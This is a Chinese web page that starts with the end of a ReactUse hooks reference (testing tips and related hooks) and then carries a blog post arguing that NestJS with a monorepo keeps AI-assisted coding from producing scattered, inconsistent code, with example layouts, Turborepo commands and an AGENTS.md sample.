语音和摄像头功能出了名地难测试,因为它们依赖的浏览器 API 需要真实的人手势和物理硬件。这些 Hook 都暴露了 isSupported 标志,所以你的测试环境(jsdom、Vitest、用 mock navigator 的 Storybook)可以在底层 API 缺失时干净地分支并渲染 fallback 状态。如果你在做严肃的语音 UI,请专门划出一小层在 headless Chrome 里用假媒体流跑的集成测试——那才是抓真正 bug 的唯一方式。

安装

npm i @reactuses/core

相关 Hook

  • useSpeechRecognition —— 实时语音转文字,跟踪中间和最终结果
  • useMediaDevices —— 枚举摄像头和麦克风,处理权限
  • usePermission —— 响应式地查询任意权限的 Permissions API
  • useKeyModifier —— 跟踪 OS 级别的修饰键状态(Shift、Control 等)
  • useSupported —— 响应式地检查浏览器 API 是否可用
  • useEventListener —— 声明式地附加事件监听器,可用于自定义语音流程
  • useObjectUrl —— 为录制的音频 blob 创建临时 URL 以预览

ReactUse 提供了 100+ 个 React Hook。全部探索 →

2026年,为什么NestJS + Monorepo越来越流行了 ❓❓❓

作者 Moment
2026年5月7日 09:58

大家好 👋,我是 Moment,目前正在使用 Next.js、NestJS、LangChain 开发 DocFlow。这是一个面向 AI 场景的协同文档平台,集成了基于 Tiptap 的富文本编辑、NestJS 后端服务、实时协作与智能化工作流等核心模块。

在这个项目的持续打磨过程中,我积累了不少实战经验,不只是 Tiptap 的深度定制、编辑器性能优化和协同方案设计,也包括前端工程化建设、React 源码理解以及复杂项目架构实践。

如果你对 AI 全栈开发、文档编辑器、前端工程化或者 React 源码相关内容感兴趣,欢迎添加我的微信 yunmz777 一起交流。觉得项目还不错的话,也欢迎给 DocFlow 点个 star ⭐

image.png

这两年和别人聊下来,有个挺朴素的观察:工具都差不多,Cursor、Claude Code、Copilot 换来换去,有人照样顺滑往前推,有人却被 AI 拖进更深的坑里。倒不一定是模型突然变差了,更像是仓库本身经不起这么快地改——你一提速,漏的地方也跟得上提速。

我这边遇到过无数次那种很无聊的返工。后端字段改了,前端忘了跟。或者看起来类型都对,实际请求体还是对不上。编译绿灯,线上才发现分支走错。一出问题就先怀疑 prompt,改了两轮发现不对劲——常常是仓库里没有一套固定的摆放方式,模型猜这一步猜对了,下一步就和别处打架。

所以到了 2026 年,我反而更多把 NestJS 和 Monorepo 当作默认选项,不是因为它们听起来高级,单纯是省事:目录大致怎么长、模块怎么切、前后端能不能共用同一份类型说明,至少有个大家都认的底子。AI 跟着改文件的时候,不至于今天一套写法、明天换一套,你自己回看也少猜谜。

以前挑框架会问写着爽不爽。现在会先想过两个月再来需求,我还能不能一眼看出该动哪几块。NestJS + Monorepo 谈不上惊艳,只是让我觉得没那么容易失控。

写出来的快,后面收拾慢

现在问 AI 顺手写一段,在圈里早不新鲜了。身边人多少都会用用 CursorCopilot 一类,写 TS、改多文件的仓库,编辑器也更好跟一点。

省时间的是样板、CRUD、第一遍类型、顺带出来的测试草图。多文件改、读完再改、跑完再交 diff,大家也都摸熟了。网上还有一大把规则文件和模版,抄一抄就能开张。

麻烦的是它仍然吃你仓库长什么样。上下文一碎,就只能对着当前文件蒙,旧接口的臭毛病还能被带回来。约定没写进结构里,同一天里 ValidationPipe、手写 if、跳过注入直接 new 能并存。跨包改一半留一半、临上线才逐行对 diff,都常见。有人习惯 AI 打一版自己再改,省下的时间往往又赔在契约和安全上。

把这些和日常开发叠在一起看,AI 写代码早就不算新闻。起接口、跑 CRUD、补两层类型、顺带生成点测试,交给模型去做,往往不慢,第一眼看上去也像那么回事。别扭的是后半程:很多时候它不是写出 0 分,而是那种能跑、像样、却不对劲的 80 分——lint 不吵,预览也能点开,但分层含糊、命名各写各的、同一个概念在不同文件里换了三张脸。你要是真顺着往下叠需求,常常要到第二、第三次改动才猛然醒悟,省下来的时间没花在第一版上,全花在给前面的草率擦屁股上。

后面这几类我最熟:改一个字段,前后端各漏一处;鉴权相关的判断补丁似的散落在好几个文件里;新开的功能完全是另一套文件夹脾气;类型检查安安静静,DTO、落库和前端调用却已经各走各路。偶尔也会嘀咕,这算不算真省力。

我以前也会比谁敲得快、谁能更快翻出文档。现在更在乎仓库省不省返工,少折腾比好看重要。上下文窗口再大,翻起来顺不顺还是看你自己怎么摆文件夹。

好几个仓库并排的时候

很长一段时间里,我都觉得多 repo 很正常:前端一个仓,后端一个仓,再加共享类型包、组件库,听起来分工清清楚楚。

真到了天天开工、AI 也跟着一起改的时候,摩擦就出来了——业务明明是一套东西,代码却被切成几块互不接壤的地盘,没有哪个仓库能单独回答这一整块系统在干什么。人还能靠记忆和聊天记录勉强对齐,模型手里往往只有当前文件附近那点片段,它没有你那套我懂的脑内地图。

后果都很具体:字段名对不齐,import 指到老路径,接口说明还停留在上个版本,这边改了那边没人提醒,前后端各讲各的故事。于是就经常出现那种撕裂:嘴上都说 AI 很强,手头却在骂它不靠谱;细看往往不是模型突然变笨,而是你根本没给它看过全貌,它只能瞎蒙。

Monorepo 对我来说最实在的一条,就是相关代码至少在一个 workspace 里,搜得到、跳转不瞎跳,改一处牵动谁早一点露馅。

单 workspace 那点实在的好处

大家聊 Monorepo,常常一上来就是依赖 hoist、构建缓存、CI 提速、版本对齐——这些都实打实地省钱省时间。若你用的是 Turborepo、Nx 这类任务编排,改 libs/types 再触达 apps/web 时,turbo run build --filter=... 一类命令往往只跑受影响的那几条边,CI 和本地反馈都轻一些;AI 一口气动多个包的时候,也不太容易因为全量 build 太慢把思路打断。但我日常感触更深的,反而是更土的几件事:全局搜索能跨过 apps 和 libs,跳转定义不会再跳到另一个克隆仓库;开一个合并请求可以同时改 apps/api、前端调用处和 libs/types,评审的人也不用先在脑子里拼接三四份改动。

产业报告里偶尔也能看到 Monorepo 与更高采纳率、更少来回改放在一块儿的讨论,口径各自不同,我不打算在这里背具体百分比。我自己觉得更实在的一点是,同一套索引里改契约,少了很多跨仓漏改。

一种常见的摆放方式大概是这样(命名随团队习惯变,道理差不多):

  • apps/web
  • apps/api
  • apps/worker
  • libs/types
  • libs/db
  • libs/auth
  • libs/ui
  • libs/common

我手里在跑的一个仓库用的也是同一套思路,只是 app 名叫 apps/backendapps/frontend,后端在 src 下拆 apischematypes 等,根上还有 Turborepo 缓存和一份给助手看的 AGENTS.md。如下图所示:

Monorepo 目录示意(含 NestJS 后端与 Next 前端)

树一展开,比在文字里凭空想象直观得多。

我以前在多仓库里改过一个 shared type,心里会一直挂着还有没有哪个仓库没 bump;现在在同一个 workspace 里,至少引用关系摊开在同一套工具链底下,TypeScript 或单元测试常常会比人肉更早喊疼——哪里还在用旧字段,哪里页面还在按老形状解构,grep 一下也有谱。

再比如后端改了接口返回字段,前端哪些 hooks、哪些组件真正吃到这一次响应,不必全靠记忆里上次好像聊过。这不是什么玄学体验,就是改动触发的影响范围更容易被看见、被追责到同一次合并请求里。

要做 AI 相关的增量也同理:Embedding、RAG、异步任务到底落在 libs/ai 还是单独 apps/worker,一开始就需要个说得过去的落点,不然半年后全是 import 魔法和临时脚本。Monorepo 不提供正确答案,但它逼你把这一坨归谁管迟早说清楚。

在这套习惯里待久了,工作状态会从我在维护好几个小项目悄悄换成我在推进同一个系统。不是口号,是你真的少了很多切仓库、对版本、猜依赖的上下文切换。

单仓也救不了后端胡写

所有代码塞一个仓库,只解决找得到文件,不解决你在 apps/api 里照样把 controller、service、库表访问、杂七杂八工具揉一团。AI 一次改五个文件,耦合只会涨得更快。

我后来还是上了 Nest,图的是入口、业务、横切几件事在目录上有固定叫法,新人进来知道往哪翻,补丁也能长得差不多。它不算最轻,我就看半年以后加模块还痛不痛。

Nest 那套烦人的分层

第一次学 Nest,很多人都会嫌它重:Module、Controller、Service、Guard、Pipe、Interceptor,条条框框比 Express、Fastify 裸奔多出一截,脚手架一念心里先咯噔一下。

但我后来承认,那些让我觉得烦的概念,多半正是复杂之后会回来的质问——HTTP 入口到底挂在哪儿,业务逻辑能不能别再黏在路由文件里,鉴权和校验是不是每次都重写一遍,异常最后统一长成什么样,跨模块的能力能不能复用而不是复制粘贴。你可以在项目很小的时候装作没看见,等体积上来,它们会以技术债的形式敲门。

Nest 对我有用的地方,就是它催你把那些事摊开:Controller 薄一点,Service 扛事,DTO 把进出的形状说清楚,GuardPipeInterceptor 各管一截横切逻辑。写得丑归丑,至少在一条路上。

后端也不可能接口跑亮就结案,需求和权限还来。框架不写业务,只少几次从口头上重新约分层。

装饰器看多了,反而不容易乱窜

我以前当装饰器和 DI 是口味问题,现在要带着助手一起看代码,utils.ts 堆一切最头疼。Nest 那点样板至少是固定格式:@Controller 像关口,@Injectable() 多半进构造函数,Moduleimportsproviders 能看出依赖往哪边走。错误还会犯,多数是接错一层,不至于每个文件一种新的脾气。

构造函数里写字段比一层层 ../../../../ 好跟,对人类和编辑器都一样。

我不再纠结算不算魔法,只在乎新来的、审稿的、还有自动补全,是不是在同一个习惯里读这套目录。

生成越快,烂摊子越容易铺开

听上去怪,能力强了本应少管。我这边反正是反过来的,一次多出好几个文件,结构松的话脏东西也一起铺开。同样一个模型,在规矩紧的 Nest + Monorepo 里多半是补边角,在老脚本堆里经常是 import 散了、校验抄三遍、servicecontroller 又掰扯不清。

选型我就问两件事,多文件改完会不会散,下个补丁你能不能猜到哪一层动。Nest 不是唯一答案,只是我默认懒得再赌。

至于 Express、Fastify 裸着写,我见过太多靠自觉最后靠不住。轻量栈写小服务爽快,HonoElysia 我都用,业务一长我还是想有一层大家都认的摆放。AdonisFoalTS 也行,模版和社区我这儿常碰到的是 Nest。

前后端接缝那档子事

语法、SQL、状态码啃得动,烦的是两半各搞各的目录、README、环境变量,改需求前先在心里对一遍口头合同,明明一个东西却干出两份工的感觉。

Nest + Monorepo 不能砍掉后端工作量,只是把缝抹窄一点。

同一个 workspace 改 API 和页面,共享类型和同一条 linttsconfig 脚本,少扯等你发包我先对齐版本的皮。以前在多个仓库里的流程,很多变成同一仓库里自己 refactor。

前端写了多年 TS,后端再随便 any 心就裂着。契约放在 libs/types 或用生成出来的 SDK 锁住一层,漂移少一桩是一桩。

包管理、CI、分支照旧两套角色,但至少不用每次从零切换脑回路。熟了以后,很难再忍受接口栏两头吵。

若以 Next.js App Router 或类似前端为主力,只是把 Nest 当成好好写业务和善后数据的那一半,这一套目录语言其实不难对齐。路由负责入口像 pageservice 像抽出去的 server libpipeinterceptor 像中间件层。端到端类型上,有人喜欢 tRPCzod 推断加共享 router,有人喜欢 OpenAPI 生成 client。任选一条你能长期维护的主线,把契约锁在 libs/types 或生成的 SDK 里,AI 在前端敲 mutationfetch 时少一半凭空造字段。本地开发里,turbo(或等价物)跑 dev,改 shared 类型后两端热更新的节奏,也常和 AI 快速试错一小步合上拍。部署侧很多平台能对 monorepoapp 建制品,我不再想维护两份各写各的环境变量叙事。

审稿比生成更费工夫

现在大家爱讲几秒出一个功能。我自己的账本里,真正决定是否划算的,常常是后面的半小时到一个小时:目录有没有乱跑,边界有没有偷偷改写,类型和数据是否仍对齐,联动测试要不要补。如果生成省下打字时间,却成倍加到梳理结构上,账就对不上了。

Nest + Monorepo 做的很大一部分省事,是把一大批低级争议前置掉——共享字段在哪儿声明,模块职责默认怎样划,接口改了哪些地方按理应当红光报错。于是评审补丁时我更常在盯业务:权限有没有漏网的路径,异常场景会不会把脏数据写进去,性能热点是不是被忽视了,需求语义到底有没有偏差。

我现在的习惯能多懒就多懒,先跑测试和类型检查,再读业务。让 AI 顺手起一版 VitestJeste2e 骨架并不贵,红线测试挂了就先迭代 prompt。绿了再谈边界条件。@Injectable() 的好处是 mock provider 也相对直来直去,审 diff 的人会轻松一点。

以前看 AI 的补丁,像是在考古这东西为何出现在此;现在更多像是在核对这块业务说得圆不圆。这不是神话 AI,只是把本该机械的对齐成本压低了一层。

我没打算一锅炖成巨石

Monorepo 听上去像要把所有东西糊在一起,Nest 又像老派人做的三层后端。我自己的用法其实很土,源码和好改的契约放在一起,发布照样可以按 app 拆开。

  • apps/web 托管前端
  • apps/api 托管主 HTTP 服务
  • apps/worker 托管队列或异步消费者
  • libs/types 承载共享契约
  • libs/ai 承载模型调用、RAG、prompt 组装之类
  • libs/authlibs/common 分摊认证与通用工具

仓库可以统一规范,制品依然可以按 app 构建发布;你可以先把复杂度关在清晰的包里,而不是一开始假装自己永远只需要一个 server.ts。这在 2026 格外常见——队列、异步生成任务、检索、后台配置、审计日志、多租户开关,后来都会陆续冒出来。

CI 里只对改动的 appturbo run test --filter=...@...(或等价过滤)之类,也早已是常规操作。共享代码动了,顺带跑会消费它的那几个 app,而不是每次全矩阵。托管侧不少平台认得 monorepo 根目录,apps/web 走静态或边缘,apps/api 单独开服务。源码和契约仍在一处捏着,生命周期和扩容却可以拆开看,不必心理上先投降成巨石。

Nest 自带 microservices、传输层那一套,真要把 auth 或大活拆出去,也还是在同一套路子里长枝,不用再拍脑袋起一套新目录癖。

我更在意的是:这些东西加进来的时候,是顺着现有的 libs/apps 生长,还是被迫堆出一层新的临时目录。前者不一定优雅,但至少有机会保持可读;后者常常意味着下一次 AI 生成又会发明一种新秩序。

人一多,文件夹比嘴上规矩管用

一个人单挑项目的时候,坏习惯还能靠记忆兜底;两三个人一起用 AI,风格漂移的速度会快得离谱。某人习惯函数式拼接,某人偏爱大类;有人把逻辑黏在 controller,有人把所有东西都塞进 util;几周下来,目录看起来像百家饭拼盘。

Nest + Monorepo 对团队的价值,不在于消灭分歧,而在于把大量本该口头重复的规矩,换成打开仓库就能看见的骨架——新功能默认落在哪个 app,共享代码朝哪个 lib 收敛,鉴权和 DTO 的习惯写法是什么。AI 这时更像在同一套轨道上补齐缺口,而不是每人拉着模型朝不同方向发明范式。

新人上手也会轻松一点:不必先听完三场口头约定才能下手改第一段代码,结构本身就带着大部分的别这么写。这当然不完美,但比纯粹依赖自律省心。

仓库根上挂一份短短的项目说明(例如 AGENTS.md.cursorrules),往往比喊一百句我们风格是这样管用。仓库本身有条理,助手多半把你的效率往上抬。仓库本来就碎,它也会把那种碎法批量复制出去。条目宁可写得具体一点,也别只剩口号。

下面是一段示意,路径和工具名按你们真实栈改即可:

  • 新功能落在 apps/api/src/<domain>/,按 Nest Module 拆分领域,别把所有业务都摊进同一个大目录。
  • 共享类型与契约收口到 libs/types。DTO 一律配 class-validator,并在引导程序里全局启用 ValidationPipe
  • 鉴权走统一的 Guard(或团队约定的同一套切面),不要在每个 Controller 里各写一版 if
  • 跨包只引用对外公开的边界。优先用包名或 workspace: 协议对齐版本。禁止用一连串 ../../../ 掏进别的 apps/* 内部实现。

Claude Code、Cursor 之类读这类说明时会有点用,再配合仓库里实打实的 Nest 目录,跑偏会少一些。

总结

工具换了几轮,差的大头还是仓库难不难翻。多仓切开以后,光看当前窗口很容易蒙,import、字段名、契约各飘各的。拢进一个 workspace,找和改都短一截,TypeScript 报错和测试红条也常比人肉早。

Monorepo 只管东西在一锅里,治不好后端胡写。我上 Nest,图每层有个约定俗成的叫法,新人也好,编辑器补全也好,少走一点冤枉路。

写那几屏幕往往不费多少钟,时间都耗在审稿、对上类型、补测试。目录利落些,才能多在业务和坑上花功夫。

以后要挂队列、worker,鉴权再想拆出去,也愿意顺着现成的包长枝,不想再养一套谁也不知道的新规矩。

我平常就这么默认:Monorepo 先合上上下文,Nest 把后端层压住,剩下的靠习惯和 CI。写得多漂亮不敢说,只希望一群人加机器一起改的时候,烂得慢一点。

❌
❌